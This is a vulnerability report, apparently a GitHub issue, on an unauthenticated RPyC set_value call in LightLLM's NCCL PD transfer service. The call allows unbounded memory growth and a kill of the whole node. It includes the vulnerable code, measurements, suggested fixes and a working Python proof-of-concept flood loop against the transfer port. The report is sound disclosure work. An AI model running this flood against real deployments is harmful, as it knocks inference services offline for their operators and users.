[BUG] Unauthenticated set_value on the NCCL PD transfer control channel causes unbounded memory growth and whole-node kill #1595

Summary

In PD disaggregation mode with --pd_trans_mode nccl, every LightLLM KV-transfer worker runs an unauthenticated RPyC control service on TCP 30000-40000. The exposed_set_value method writes caller-supplied keys and values into a Python dict with no size limit, no entry limit, and no expiry. A network peer that can reach the port can grow the transfer worker's memory without bound until the OS OOM killer ends the worker. A watchdog in the same node then SIGKILLs the router parent process, taking down the entire prefill or decode node. This was reproduced end to end: about 33 seconds of plain set_value calls killed a memory-capped prefill node and the PD master dropped it from the cluster. The payload uses ordinary bytes only, no pickle gadget, so removing the pickle-based RCE tracked in CVE-2026-96560 does not fix this. Suggested severity High, CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H (8.6).

Details

The control service is created in lightllm/server/router/model_infer/mode_backend/pd/nccl_kv_transporter.py. _NcclControlChannel._start_server() starts an rpyc ThreadedServer with allow_pickle, allow_all_attrs, allow_getattr and allow_setattr, bound to the address returned by hostname -i (in containers this is the routable Pod IP), scanning from port 30000 + tp_idx * 100 upward. There is no authentication.

_NcclControlService.exposed_set_value() stores every call:

def exposed_set_value(self, key: str, value: bytes):
    key = obtain(key)
    value = obtain(value)
    self.channel.add_store_value(key, value)

def add_store_value(self, key: str, value: bytes):
    with self._store_cond:
        self._store_values[key] = value

_store_values is a plain dict. Nothing bounds the value size, the number of entries, or their lifetime. The only removal path is wait_store_value(), which pops a key only when some component actively waits for it. Keys planted by an attacker are never consumed, so they stay forever. This dict is also the rendezvous store used to build NCCL communicators, which is why it accepts arbitrary keys by design, but that design assumes a trusted peer.

The kill chain when the worker dies is in lightllm/server/router/model_infer/mode_backend/pd/base_kv_move_manager.py, check_trans_process_loop(): when any KV-transfer process is found unhealthy it calls os.kill(os.getppid(), signal.SIGKILL) on the router parent. An OOM kill of one transfer worker therefore escalates into the death of the whole node process tree (router, model_infer, transfer workers, kv move manager, API server).

Measured on commit 1eb4810c (v1.2.0+50): flooding 256 KB values grew the transfer worker RSS at about 70 MB/s with slope proportional to entry count; in a 16 GiB cgroup two 60 s bursts added 4.18 and 4.22 GiB and a 10 minute idle window recovered exactly 0 KB. In an 8 GiB cgroup the worker was OOM-killed after 33.5 s (9,126 entries, 2.39 GiB stored), the systemd unit logged oom-kill, the full prefill process tree disappeared, and the PD master removed the node (pd_nodes_healthy flipped to false, registered_prefill_nodes went to 0). The same code is present on current main as of 2026-09-29.

PoC

Tested on Linux, LightLLM at commit 1eb4810c78c6ea908b69c20c3c037b79979e1cd6 (same code at tag v1.2.0 and on main), rpyc 5.3.1, one prefill node on GPU 0 and one decode node on GPU 1, Qwen2.5-0.5B-Instruct.

Start the prefill node inside a memory cap so the host survives:

systemd-run --user --scope -p MemoryMax=8G -p MemorySwapMax=0 \
  env CUDA_VISIBLE_DEVICES=0 python -m lightllm.server.api_server \
  --model_dir <MODEL_DIR> --run_mode prefill \
  --pd_trans_mode nccl --pd_master_ip <LAN_IP> --pd_master_port 8000 \
  --host 0.0.0.0 --port 8001 --tp 1

Start the decode node and the PD master the usual way. Find the prefill transfer port with ss -ltnp (process name contains prefill_trans, port in 30000-40000).

Run the flood:

import rpyc
HOST, PORT = "<prefill_node_ip>", 30001  # prefill_trans port
conn = rpyc.connect(HOST, PORT, config={
    "allow_all_attrs": True, "allow_getattr": True,
    "allow_setattr": True, "allow_pickle": True})
i = 0
while True:
    conn.root.set_value(f"evil_{i}", b"A" * 262144)
    i += 1

Expected result: the transfer worker RSS climbs steadily (watch ps -o rss= -p <trans_pid>). Within roughly a minute the cgroup OOM killer ends the unit (journalctl --user -u <unit> shows oom-kill), the whole prefill process tree is gone, the master log shows the node disconnect and removal, and GET /health on the master returns pd_nodes_healthy: false with registered_prefill_nodes: 0. Without a memory cap the same flood grows without bound until the host OOM killer picks a victim.

Expected correct behavior: reject or bound unauthenticated set_value writes, and on transfer worker death restart the worker or remove the node instead of SIGKILLing the router parent.

Impact

Uncontrolled resource consumption leading to remote denial of service (CWE-400, with CWE-770 and CWE-306). Any attacker who can reach the transfer control port of a prefill or decode node needs no credentials and sends only well-formed set_value calls with plain bytes. The PD master removes the killed node, so in a 1P1D deployment the whole cluster stops serving until an operator restarts it. The call rate needed is trivial (a few hundred small writes per second). Availability only; no confidentiality or integrity impact was observed. The payload does not rely on pickle, so this issue survives a fix that only removes the unsafe pickle options tracked in CVE-2026-96560 on the same port.